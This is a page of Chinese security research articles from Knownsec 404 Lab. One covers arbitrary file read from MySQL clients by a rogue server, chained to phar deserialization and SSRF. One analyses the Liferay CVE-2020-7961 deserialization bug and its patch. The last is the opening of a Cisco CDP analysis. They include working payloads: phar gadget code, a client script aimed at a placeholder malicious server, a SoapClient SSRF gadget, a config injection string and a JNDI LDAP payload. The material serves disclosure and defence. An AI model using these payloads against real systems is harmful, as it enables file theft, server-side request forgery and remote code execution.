-
CSS-T | Mysql Client 任意文件读取攻击链拓展
作者:LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室
英文版本:https://paper.seebug.org/1113/这应该是一个很早以前就爆出来的漏洞,而我见到的时候是在TCTF2018 final线下赛的比赛中,是被 Dragon Sector 和 Cykor 用来非预期h4x0r's club这题的一个技巧。
在后来的研究中,和@Dawu的讨论中顿时觉得这应该是一个很有趣的trick,在逐渐追溯这个漏洞的过去的过程中,我渐渐发现这个问题作为mysql的一份feature存在了很多年,从13年就有人分享这个问题。
- Database Honeypot by design (2013 8月 Presentation from Yuri Goltsev)
- Rogue-MySql-Server Tool (2013年 9月 MySQL fake server to read files of connected clients)
- Abusing MySQL LOCAL INFILE to read client files (2018年4月23日)
在围绕这个漏洞的挖掘过程中,我们不断地发现新的利用方式,所以将其中大部分的发现都总结并准备了议题在CSS上分享,下面让我们来一步步分析。
Load data infile
load data infile是一个很特别的语法,熟悉注入或者经常打CTF的朋友可能会对这个语法比较熟悉,在CTF中,我们经常能遇到没办法load_file读取文件的情况,这时候唯一有可能读到文件的就是load data infile,一般我们常用的语句是这样的:
1load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';mysql server会读取服务端的/etc/passwd然后将数据按照
'\n'
分割插入表中,但现在这个语句同样要求你有FILE权限,以及非local加载的语句也受到secure_file_priv
的限制123mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement如果我们修改一下语句,加入一个关键字local。
123mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';Query OK, 11 rows affected, 11 warnings (0.01 sec)Records: 11 Deleted: 0 Skipped: 0 Warnings: 11加了local之后,这个语句就成了,读取客户端的文件发送到服务端,上面那个语句执行结果如下
很显然,这个语句是不安全的,在mysql的文档里也充分说明了这一点
在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。
mysql认为客户端不应该连接到不可信的服务端。
我们今天的这个问题,就是围绕这个基础展开的。
构造恶意服务端
在思考明白了前面的问题之后,核心问题就成了,我们怎么构造一个恶意的mysql服务端。
在搞清楚这个问题之前,我们需要研究一下mysql正常执行链接和查询的数据包结构。
1、greeting包,服务端返回了banner,其中包含mysql的版本
2、客户端登录请求
3、然后是初始化查询,这里因为是phpmyadmin所以初始化查询比较多
4、load file local
由于我的环境在windows下,所以这里读取为
C:/Windows/win.ini
,语句如下1load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';首先是客户端发送查询
然后服务端返回了需要的路径
然后客户端直接把内容发送到了服务端
看起来流程非常清楚,而且客户端读取文件的路径并不是从客户端指定的,而是发送到服务端,服务端制定的。
原本的查询流程为
123客户端:我要把win.ini插入test表中服务端:我要你的win.ini内容客户端:win.ini的内容如下....假设服务端由我们控制,把一个正常的流程篡改成如下
123客户端:我要test表中的数据服务端:我要你的win.ini内容客户端:win.ini的内容如下???上面的第三句究竟会不会执行呢?
让我们回到mysql的文档中,文档中有这么一句话:
服务端可以在任何查询语句后回复文件传输请求,也就是说我们的想法是成立的
在深入研究漏洞的过程中,不难发现这个漏洞是否成立在于Mysql client端的配置问题,而经过一番研究,我发现在mysql登录验证的过程中,会发送客户端的配置。
在greeting包之后,客户端就会链接并试图登录,同时数据包中就有关于是否允许使用load data local的配置,可以从这里直白的看出来客户端是否存在这个问题(这里返回的客户端配置不一定是准确的,后面会提到这个问题)。
poc
在想明白原理之后,构建恶意服务端就变得不那么难了,流程很简单 1.回复mysql client一个greeting包 2.等待client端发送一个查询包 3.回复一个file transfer包
这里主要是构造包格式的问题,可以跟着原文以及各种文档完成上述的几次查询.
值得注意的是,原作者给出的poc并没有适配所有的情况,部分mysql客户端会在登陆成功之后发送ping包,如果没有回复就会断开连接。也有部分mysql client端对greeting包有较强的校验,建议直接抓包按照真实包内容来构造。
- https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake
- https://dev.mysql.com/doc/internals/en/com-query-response.html
原作者给出的poc
演示
这里用了一台腾讯云做服务端,客户端使用phpmyadmin连接
我们成功读取了文件。
影响范围
底层应用
在这个漏洞到底有什么影响的时候,我们首先必须知道到底有什么样的客户端受到这个漏洞的威胁。
- mysql client (pwned)
- php mysqli (pwned,fixed by 7.3.4)
- php pdo (默认禁用)
- python MySQLdb (pwned)
- python mysqlclient (pwned)
- java JDBC Driver (pwned,部分条件下默认禁用)
- navicat (pwned)
探针
在深入挖掘这个漏洞的过程中,第一时间想到的利用方式就是mysql探针,但可惜的是,在测试了市面上的大部分探针后发现大部分的探针连接之后只接受了greeting包就断开连接了,没有任何查询,尽职尽责。
- 雅黑PHP探针 失败
- iprober2 探针 失败
- PHP探针 for LNMP一键安装包 失败
- UPUPW PHP 探针 失败
- ...
云服务商 云数据库 数据迁移服务
以上漏洞均在2018年报送官方并遵守漏洞纰漏原则
国内
- 腾讯云 DTS 失败,禁用Load data local
- 阿里云 RDS 数据迁移失败,禁用Load data local
- 华为云 RDS DRS服务 成功
- 京东云 RDS不支持远程迁移功能,分布式关系数据库未开放
- UCloud RDS不支持远程迁移功能,分布式关系数据库不能对外数据同步
- QiNiu云 RDS不支持远程迁移功能
- 新睿云 RDS不支持远程迁移功能
- 网易云 RDS 外部实例迁移 成功
- 金山云 RDS DTS数据迁移 成功
- 青云Cloud RDS 数据导入 失败,禁用load data local
- 百度Cloud RDS DTS 成功
国际云服务商
- Google could SQL数据库迁移失败,禁用Load data infile
- AWS RDS DMS服务 成功
Excel online sql查询
之前的一篇文章中提到过,在Excel中一般有这样一个功能,从数据库中同步数据到表格内,这样一来就可以通过上述方式读取文件。
受到这个思路的启发,我们想到可以找online的excel的这个功能,这样就可以实现任意文件读取了。
- WPS failed(没找到这个功能)
- Microsoft excel failed(禁用了infile语句)
- Google 表格 (原生没有这个功能,但却支持插件,下面主要说插件)
- Supermetrics pwned
12345- Advanced CFO Solutions MySQL Query failed- SeekWell failed- Skyvia Query Gallery failed- database Borwser failed- Kloudio pwned拓展?2RCE!
抛开我们前面提的一些很特殊的场景下,我们也要讨论一些这个漏洞在通用场景下的利用攻击链。
既然是围绕任意文件读取来讨论,那么最能直接想到的一定是有关配置文件的泄露所导致的漏洞了。
任意文件读 with 配置文件泄露
在Discuz x3.4的配置中存在这样两个文件
12config/config_ucenter.phpconfig/config_global.php在dz的后台,有一个ucenter的设置功能,这个功能中提供了ucenter的数据库服务器配置功能,通过配置数据库链接恶意服务器,可以实现任意文件读取获取配置信息。
配置ucenter的访问地址。
12原地址: http://localhost:8086/upload/uc_server修改为: http://localhost:8086/upload/uc_server\');phpinfo();//当我们获得了authkey之后,我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及
UC_KEY
来访问即可生效任意文件读 to 反序列化
2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了
phar://
这个stream wrapper。在我们知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示,所有的文件函数都支持stream wrapper。
深入到函数中,我们可以发现,可以支持steam wrapper的原因是调用了
1stream = php_stream_open_wrapper_ex(filename, "rb" ....);从这里,我们再回到mysql的load file local语句中,在mysqli中,mysql的读文件是通过php的函数实现的
123456789101112https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52if (PG(open_basedir)) {if (php_check_open_basedir_ex(filename, 0) == -1) {strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");info->error_no = CR_UNKNOWN_ERROR;DBG_RETURN(1);}}info->filename = filename;info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);也同样调用了
php_stream_open_wrapper_ex
函数,也就是说,我们同样可以通过读取phar文件来触发反序列化。复现
首先需要一个生成一个phar
123456789101112131415161718192021pphar.php<?phpclass A {public $s = '';public function __wakeup () {echo "pwned!!";}}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub$o = new A();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>使用该文件生成一个phar.phar
然后我们模拟一次查询
1234567891011121314151617test.php<?phpclass A {public $s = '';public function __wakeup () {echo "pwned!!";}}$m = mysqli_init();mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);$p = mysqli_query($m, 'select 1;');// file_get_contents('phar://./phar.phar');图中我们只做了select 1查询,但我们伪造的evil mysql server中驱使mysql client去做
load file local
查询,读取了本地的1phar://./phar.phar成功触发反序列化
反序列化 to RCE
当一个反序列化漏洞出现的时候,我们就需要从源代码中去寻找合适的pop链,建立在pop链的利用基础上,我们可以进一步的扩大反序列化漏洞的危害。
php序列化中常见的魔术方法有以下 - 当对象被创建的时候调用:construct - 当对象被销毁的时候调用:destruct - 当对象被当作一个字符串使用时候调用:toString - 序列化对象之前就调用此方法(其返回需要是一个数组):sleep - 反序列化恢复对象之前就调用此方法:wakeup - 当调用对象中不存在的方法会自动调用此方法:call
配合与之相应的pop链,我们就可以把反序列化转化为RCE。
dedecms 后台反序列化漏洞 to SSRF
dedecms 后台,模块管理,安装UCenter模块。开始配置
首先需要找一个确定的UCenter服务端,可以通过找一个dz的站来做服务端。
然后就会触发任意文件读取,当然,如果读取文件为phar,则会触发反序列化。
我们需要先生成相应的phar
1234567891011121314151617181920212223242526272829<?phpclass Control{var $tpl;// $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));public $dsql;function __construct(){$this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));}function __destruct() {unset($this->tpl);$this->dsql->Close(TRUE);}}@unlink("dedecms.phar");$phar = new Phar("dedecms.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头$o = new Control();$phar->setMetadata($o); //将自定义meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>然后我们可以直接通过前台上传头像来传文件,或者直接后台也有文件上传接口,然后将rogue mysql server来读取这个文件
1phar://./dedecms.phar/test.txt监听5555可以收到
ssrf进一步可以攻击redis等拓展攻击面,就不多说了。
部分CMS测试结果
CMS名 影响版本 是否存在mysql任意文件读取 是否有可控的MySQL服务器设置 是否有可控的反序列化 是否可上传phar 补丁 phpmyadmin < 4.8.5 是 是 是 是 补丁 Dz 未修复 是 是 否 None None drupal None 否(使用PDO) 否(安装) 是 是 None dedecms None 是 是(ucenter) 是(ssrf) 是 None ecshop None 是 是 否 是 None 禅道 None 否(PDO) 否 None None None phpcms None 是 是 是(ssrf) 是 None 帝国cms None 是 是 否 None None phpwind None 否(PDO) 是 None None None mediawiki None 是 否(后台没有修改mysql配置的方法) 是 是 None Z-Blog None 是 否(后台没有修改mysql配置的方法) 是 是 None 修复方式
对于大多数mysql的客户端来说,load file local是一个无用的语句,他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说,可以直接关闭这个功能,并不会影响到正常的使用。
具体的关闭方式见文档 - https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
对于不同服务端来说,这个配置都有不同的关法,对于JDBC来说,这个配置叫做
allowLoadLocalInfile
在php的mysqli和mysql两种链接方式中,底层代码直接决定了这个配置。
这个配置是
PHP_INI_SYSTEM
,在php的文档中,这个配置意味着Entry can be set in php.ini or httpd.conf
。所以只有在php.ini中修改
mysqli.allow_local_infile = Off
就可以修复了。在php7.3.4的更新中,mysqli中这个配置也被默认修改为关闭
可惜在不再更新的旧版本mysql5.6中,无论是mysql还是mysqli默认都为开启状态。
现在的代码中也可以通过
mysqli_option
,在链接前配置这个选项。比较有趣的是,通过这种方式修复,虽然禁用了
allow_local_infile
,但是如果使用wireshark抓包却发现allow_local_infile
仍是启动的(但是无效)。在旧版本的phpmyadmin中,先执行了
mysqli_real_connect
,然后设置mysql_option
,这样一来allow_local_infile
实际上被禁用了,但是在发起链接请求时中allow_local_infile
还没有被禁用。实际上是因为
mysqli_real_connect
在执行的时候,会初始化allow_local_infile
。在php代码底层mysqli_real_connect
实际是执行了mysqli_common_connect
。而在mysqli_common_connect
的代码中,设置了一次allow_local_infile
。如果在
mysqli_real_connect
之前设置mysql_option
,其allow_local_infile
的配置会被覆盖重写,其修改就会无效。phpmyadmin在1月22日也正是通过交换两个函数的相对位置来修复了该漏洞。 https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f
说在最后
这是一个针对mysql feature的攻击模式,思路非常有趣,就目前而言在mysql层面没法修复,只有在客户端关闭了这个配置才能避免印象。虽然作为攻击面并不是很广泛,但可能针对一些特殊场景的时候,可以特别有效的将一个正常的功能转化为任意文件读取,在拓展攻击面上非常的有效。
详细的攻击场景这里就不做假设了,危害还是比较大的。
REF
- http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
- https://lightless.me/archives/read-mysql-client-file.html
- https://dev.mysql.com/doc/refman/8.0/en/load-data.html
- https://dev.mysql.com/doc/refman/8.0/en/load-data.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1112/
没有评论 -
Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)
作者:Longofo@知道创宇404实验室
时间:2020年3月27日
英文版本:https://paper.seebug.org/1163/之前在CODE WHITE上发布了一篇关于Liferay Portal JSON Web Service RCE的漏洞,之前是小伙伴在处理这个漏洞,后面自己也去看了。Liferay Portal对于JSON Web Service的处理,在6.1、6.2版本中使用的是 Flexjson库,在7版本之后换成了Jodd Json。
总结起来该漏洞就是:Liferay Portal提供了Json Web Service服务,对于某些可以调用的端点,如果某个方法提供的是Object参数类型,那么就能够构造符合Java Beans的可利用恶意类,传递构造好的json反序列化串,Liferay反序列化时会自动调用恶意类的setter方法以及默认构造方法。不过还有一些细节问题,感觉还挺有意思,作者文中那张向上查找图,想着idea也没提供这样方便的功能,应该是自己实现的查找工具,文中分析下Liferay使用JODD反序列化的情况。
JODD序列化与反序列化
参考官方使用手册,先看下JODD的直接序列化与反序列化:
TestObject.java
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152package com.longofo;import java.util.HashMap;public class TestObject {private String name;private Object object;private HashMap<String, String> hashMap;public TestObject() {System.out.println("TestObject default constractor call");}public String getName() {System.out.println("TestObject getName call");return name;}public void setName(String name) {System.out.println("TestObject setName call");this.name = name;}public Object getObject() {System.out.println("TestObject getObject call");return object;}public void setObject(Object object) {System.out.println("TestObject setObject call");this.object = object;}public HashMap<String, String> getHashMap() {System.out.println("TestObject getHashMap call");return hashMap;}public void setHashMap(HashMap<String, String> hashMap) {System.out.println("TestObject setHashMap call");this.hashMap = hashMap;}@Overridepublic String toString() {return "TestObject{" +"name='" + name + '\'' +", object=" + object +", hashMap=" + hashMap +'}';}}TestObject1.java
123456789101112131415161718192021package com.longofo;public class TestObject1 {private String jndiName;public TestObject1() {System.out.println("TestObject1 default constractor call");}public String getJndiName() {System.out.println("TestObject1 getJndiName call");return jndiName;}public void setJndiName(String jndiName) {System.out.println("TestObject1 setJndiName call");this.jndiName = jndiName;// Context context = new InitialContext();// context.lookup(jndiName);}}Test.java
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263package com.longofo;import jodd.json.JsonParser;import jodd.json.JsonSerializer;import java.util.HashMap;public class Test {public static void main(String[] args) {System.out.println("test common usage");test1Common();System.out.println();System.out.println();System.out.println("test unsecurity usage");test2Unsecurity();}public static void test1Common() {TestObject1 testObject1 = new TestObject1();testObject1.setJndiName("xxx");HashMap hashMap = new HashMap<String, String>();hashMap.put("aaa", "bbb");TestObject testObject = new TestObject();testObject.setName("ccc");testObject.setObject(testObject1);testObject.setHashMap(hashMap);JsonSerializer jsonSerializer = new JsonSerializer();String json = jsonSerializer.deep(true).serialize(testObject);System.out.println(json);System.out.println("----------------------------------------");JsonParser jsonParser = new JsonParser();TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);System.out.println(dtestObject);}public static void test2Unsecurity() {TestObject1 testObject1 = new TestObject1();testObject1.setJndiName("xxx");HashMap hashMap = new HashMap<String, String>();hashMap.put("aaa", "bbb");TestObject testObject = new TestObject();testObject.setName("ccc");testObject.setObject(testObject1);testObject.setHashMap(hashMap);JsonSerializer jsonSerializer = new JsonSerializer();String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);System.out.println(json);System.out.println("----------------------------------------");JsonParser jsonParser = new JsonParser();TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);System.out.println(dtestObject);}}输出:
123456789101112131415161718192021222324252627282930313233343536373839404142test common usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}----------------------------------------TestObject default constractor callTestObject setHashMap callTestObject setName callTestObject1 default constractor callTestObject1 setJndiName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}test unsecurity usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}----------------------------------------TestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setHashMap callTestObject setName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}在Test.java中,使用了两种方式,第一种是常用的使用方式,在反序列化时指定根类型(rootType);而第二种官方也不推荐这样使用,存在安全问题,假设某个应用提供了接收JODD Json的地方,并且使用了第二种方式,那么就可以任意指定类型进行反序列化了,不过Liferay这个漏洞给并不是这个原因造成的,它并没有使用setClassMetadataName("class")这种方式。
Liferay对JODD的包装
Liferay没有直接使用JODD进行处理,而是重新包装了JODD一些功能。代码不长,所以下面分别分析下Liferay对JODD的JsonSerializer与JsonParser的包装。
JSONSerializerImpl
Liferay对JODD JsonSerializer的包装是
com.liferay.portal.json.JSONSerializerImpl
类:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889public class JSONSerializerImpl implements JSONSerializer {private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer,最后还是交给了JODD的JsonSerializer去处理,只不过包装了一些额外的设置public JSONSerializerImpl() {if (JavaDetector.isIBM()) {//探测JDKSystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关}this._jsonSerializer = new JsonSerializer();}public JSONSerializerImpl exclude(String... fields) {this._jsonSerializer.exclude(fields);//排除某个field不序列化return this;}public JSONSerializerImpl include(String... fields) {this._jsonSerializer.include(fields);//包含某个field进行序列化return this;}public String serialize(Object target) {return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化}public String serializeDeep(Object target) {JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field,包括集合等类型return jsonSerializer.serialize(target);}public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//设置转换器,和下面的设置全局转换器类似,不过这里可以传入自定义的转换器(比如将某个类的Data field,格式为03/27/2020,序列化时转为2020-03-27)TypeJsonSerializer<?> typeJsonSerializer = null;if (jsonTransformer instanceof TypeJsonSerializer) {typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;} else {typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);}this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);return this;}public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {TypeJsonSerializer<?> typeJsonSerializer = null;if (jsonTransformer instanceof TypeJsonSerializer) {typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;} else {typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);}this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);return this;}static {//全局注册,对于所有Array、Object、Long类型的数据,在序列化时都进行转换单独的转换处理JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());}private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {private LongToStringTypeJSONSerializer() {}public void serialize(JsonContext jsonContext, Long value) {jsonContext.writeString(String.valueOf(value));}}private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {private JSONObjectTypeJSONSerializer() {}public void serialize(JsonContext jsonContext, JSONObject jsonObject) {jsonContext.write(jsonObject.toString());}}private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {private JSONArrayTypeJSONSerializer() {}public void serialize(JsonContext jsonContext, JSONArray jsonArray) {jsonContext.write(jsonArray.toString());}}}能看出就是设置了JODD JsonSerializer在序列化时的一些功能。
JSONDeserializerImpl
Liferay对JODD JsonParser的包装是
com.liferay.portal.json.JSONDeserializerImpl
类:123456789101112131415161718192021222324252627282930public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {private final JsonParser _jsonDeserializer;//JsonParser,反序列化最后还是交给了JODD的JsonParser去处理,JSONDeserializerImpl包装了一些额外的设置public JSONDeserializerImpl() {if (JavaDetector.isIBM()) {//探测JDKSystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关}this._jsonDeserializer = new PortalJsonParser();}public T deserialize(String input) {return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化}public T deserialize(String input, Class<T> targetType) {return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化,可以指定根类型(rootType)}public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化时使用的转换器ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);this._jsonDeserializer.use(field, valueConverter);return this;}public JSONDeserializer<T> use(String path, Class<?> clazz) {this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型,例如file在某个类是接口或Object等类型,在反序列化时指定具体的return this;}}能看出也是设置了JODD JsonParser在反序列化时的一些功能。
Liferay 漏洞分析
Liferay在
/api/jsonws
API提供了几百个可以调用的Webservice,负责处理的该API的Servlet也直接在web.xml中进行了配置:随意点一个方法看看:
看到这个有点感觉了,可以传递参数进行方法调用,有个p_auth是用来验证的,不过反序列化在验证之前,所以那个值对漏洞利用没影响。根据CODE WHITE那篇分析,是存在参数类型为Object的方法参数的,那么猜测可能可以传入任意类型的类。可以先正常的抓包调用去调试下,这里就不写正常的调用调试过程了,简单看一下post参数:
1cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true总的来说就是Liferay先查找
/announcementsdelivery/update-delivery
对应的方法->其他post参数参都是方法的参数->当每个参数对象类型与与目标方法参数类型一致时->恢复参数对象->利用反射调用该方法。但是抓包并没有类型指定,因为大多数类型是String、long、int、List、map等类型,JODD反序列化时会自动处理。但是对于某些接口/Object类型的field,如果要指定具体的类型,该怎么指定?
作者文中提到,Liferay Portal 7中只能显示指定rootType进行调用,从上面Liferay对JODD JSONDeserializerImpl包装来看也是这样。如果要恢复某个方法参数是Object类型时具体的对象,那么Liferay本身可能会先对数据进行解析,获取到指定的类型,然后调用JODD的parse(path,class)方法,传递解析出的具体类型来恢复这个参数对象;也有可能Liferay并没有这样做。不过从作者的分析中可以看出,Liferay确实这样做了。作者查找了
jodd.json.Parser#rootType
的调用图(羡慕这样的工具):通过向上查找的方式,作者找到了可能存在能指定根类型的地方,在
com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl
调用了com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType)
, looseDeserialize调用的是JSONSerializerImpl,JSONSerializerImpl调用的是JODD的JsonParse.parse
。com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl
再往上的调用就是Liferay解析Web Service参数的过程了。它的上一层JSONWebServiceActionImpl#_prepareParameters(Class<?>)
,JSONWebServiceActionImpl类有个_jsonWebServiceActionParameters
属性:这个属性中又保存着一个
JSONWebServiceActionParametersMap
,在它的put方法中,当参数以+
开头时,它的put方法以:
分割了传递的参数,:
之前是参数名,:
之后是类型名。而put解析的操作在
com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement
中完成:通过上面的分析与作者的文章,我们能知道以下几点:
- Liferay 允许我们通过/api/jsonws/xxx调用Web Service方法
- 参数可以以+开头,用
:
指定参数类型 - JODD JsonParse会调用类的默认构造方法,以及field对应的setter方法
所以需要找在setter方法中或默认构造方法中存在恶意操作的类。去看下marshalsec已经提供的利用链,可以直接找Jackson、带Yaml的,看他们继承的利用链,大多数也适合这个漏洞,同时也要看在Liferay中是否存在才能用。这里用
com.mchange.v2.c3p0.JndiRefForwardingDataSource
这个测试,用/expandocolumn/add-column
这个Service,因为他有java.lang.Object
参数:Payload如下:
1cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}解析出了参数类型,并进行参数对象反序列化,最后到达了jndi查询:
补丁分析
Liferay补丁增加了类型校验,在
com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable
中:12345678910111213141516171819202122232425262728293031private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {String parameterTypeName = parameterType.getName();if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法throw new IllegalArgumentException("Not instantiating " + parameterTypeName);} else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));} else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验,白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();if (serviceReferences != null) {String key = "jsonws.web.service.parameter.type.whitelist.class.names";ServiceReference[] var7 = serviceReferences;int var8 = serviceReferences.length;for(int var9 = 0; var9 < var8; ++var9) {ServiceReference<Object> serviceReference = var7[var9];List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));if (whitelistedClassNames.contains(parameterTypeName)) {return;}}}throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");}}}}}_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES
所有白名单类在portal.properties中,有点长就不列出来了,基本都是以com.liferay
开头的类。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1162/
-
CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析
作者:Hcamael@知道创宇404实验室
时间:2020年03月19日
英文版本:https://paper.seebug.org/1156/Cisco Discovery Protocol(CDP)协议是用来发现局域网中的Cisco设备的链路层协议。
最近Cisco CDP协议爆了几个漏洞,挑了个栈溢出的CVE-2020-3119先来搞搞,Armis Labs也公开了他们的分析Paper。
环境搭建
虽然最近都在搞IoT相关的,但是还是第一次搞这种架构比较复杂的中型设备,大部分时间还是花在折腾环境上。
3119这个CVE影响的是Cisco NX-OS类型的设备,去Cisco的安全中心找了下这个CVE,搜搜受影响的设备。发现受该漏洞影响的设备都挺贵的,也不好买,所以暂时没办法真机测试研究了。随后搜了一下相关设备的固件,需要氪金购买。然后去万能的淘宝搜了下,有代购业务,有的买五六十(亏),有的卖十几块。
固件到手后,我往常第一想法是解开来,第二想法是跑起来。最开始我想着先把固件解开来,找找cdp的binary,但是在解固件的时候却遇到了坑。
如今这世道,解固件的工具也就binwalk,我也就只知道这一个,也问过朋友,好像也没有其他好用的了。(如果有,求推荐)。
但是binwalk的算法在遇到非常多的压缩包的情况下,非常耗时,反正我在挂那解压了两天,还没解完一半。在解压固件这块折腾了好久,最后还是无果而终。
最后只能先想办法把固件跑起来了,正好知道一个软件可以用来仿真Cisco设备————GNS3。
GNS3的使用说明
学会了使用GNS3以后,发现这软件真好用。
